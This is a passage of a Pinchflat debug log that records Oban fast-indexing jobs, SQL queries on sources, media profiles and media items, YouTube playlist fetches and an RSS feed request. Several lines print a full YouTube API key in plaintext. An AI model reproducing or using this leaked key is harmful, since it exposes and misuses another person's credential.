((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 17:37:51.759 [debug] QUERY OK source="tasks" db=0.1ms idle=221.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800267, 38, ~U[2026-02-10 23:37:51Z], ~U[2026-02-10 23:37:51Z]] 17:37:51.759 [info] {"args":{"id":38},"id":3800228,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":222495,"event":"job:stop","queue_time":496818,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:53.539 [info] {"args":{"id":41},"id":3800229,"meta":{},"system_time":1770766673539681791,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:53.540 [debug] QUERY OK source="sources" db=0.1ms idle=661.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 17:37:53.540 [debug] QUERY OK source="settings" db=0.0ms idle=661.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:53.540 [debug] QUERY OK source="media_profiles" db=0.1ms idle=661.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:53.540 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:53.540 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 17:37:53.540 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:53.540 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:53.635 [debug] QUERY OK source="media_items" db=0.7ms idle=94.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 17:37:53.636 [debug] QUERY OK source="media_items" db=0.6ms idle=95.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 17:37:53.637 [debug] QUERY OK source="tasks" db=0.1ms idle=96.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800268, 41, ~U[2026-02-10 23:37:53Z], ~U[2026-02-10 23:37:53Z]] 17:37:53.637 [info] {"args":{"id":41},"id":3800229,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":97858,"event":"job:stop","queue_time":534521,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:54.542 [info] {"args":{"id":5},"id":3800230,"meta":{},"system_time":1770766674542761749,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:54.543 [debug] QUERY OK source="sources" db=0.5ms idle=905.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 17:37:54.543 [debug] QUERY OK source="settings" db=0.1ms idle=905.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:54.544 [debug] QUERY OK source="media_profiles" db=0.1ms idle=900.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:54.544 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:54.544 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 17:37:54.544 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:54.544 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:54.716 [debug] QUERY OK source="media_items" db=0.7ms idle=172.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 17:37:54.719 [debug] QUERY OK source="media_items" db=2.6ms idle=173.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 17:37:54.721 [debug] QUERY OK source="tasks" db=0.2ms idle=1.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800269, 5, ~U[2026-02-10 23:37:54Z], ~U[2026-02-10 23:37:54Z]] 17:37:54.721 [info] {"args":{"id":5},"id":3800230,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":178869,"event":"job:stop","queue_time":528952,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:59.549 [info] {"args":{"id":1},"id":3800231,"meta":{},"system_time":1770766679549330244,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:59.549 [debug] QUERY OK source="sources" db=0.1ms idle=1671.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:37:59.549 [debug] QUERY OK source="settings" db=0.0ms idle=1671.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:59.550 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1009.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:59.550 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:59.550 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 17:37:59.550 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:59.550 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:59.621 [info] {"source":"oban","duration":10698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:59.642 [debug] QUERY OK source="media_items" db=0.6ms idle=91.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 17:37:59.652 [debug] QUERY OK source="media_items" db=9.5ms idle=92.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:37:59.672 [debug] QUERY OK source="tasks" db=1.0ms idle=1.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800270, 1, ~U[2026-02-10 23:37:59Z], ~U[2026-02-10 23:37:59Z]] 17:37:59.672 [info] {"args":{"id":1},"id":3800231,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":122778,"event":"job:stop","queue_time":514741,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:38:00.089 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:38:29.631 [info] {"source":"oban","duration":10311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:56.393 [info] GET /sources/064999f2-9abb-45b5-9ea9-dd6f79a26a8a/feed.xml 17:38:56.393 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "064999f2-9abb-45b5-9ea9-dd6f79a26a8a"} Pipelines: [:maybe_basic_auth] 17:38:56.393 [debug] QUERY OK source="sources" db=0.1ms idle=1515.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["064999f2-9abb-45b5-9ea9-dd6f79a26a8a"] 17:38:56.411 [debug] QUERY OK source="media_items" db=17.6ms idle=1515.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [40, 2000] 17:38:56.515 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1636.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [40] 17:38:56.515 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1637.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564166] 17:38:56.520 [info] Sent 200 in 127ms 17:38:59.642 [info] {"source":"oban","duration":10421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.090 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:39:29.653 [info] {"source":"oban","duration":10454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:42.654 [info] {"args":{"id":1544200},"id":3766062,"meta":{},"system_time":1770766782654793611,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 17:39:42.656 [debug] QUERY OK source="media_items" db=1.1ms idle=776.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1544200] 17:39:42.656 [info] User scripts lifecyle file either not present or is empty. Skipping. 17:39:42.656 [debug] QUERY OK source="sources" db=0.7ms idle=777.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:39:42.657 [debug] QUERY OK source="media_profiles" db=0.7ms idle=778.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:39:42.658 [debug] QUERY OK source="media_items" db=0.1ms idle=8.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR 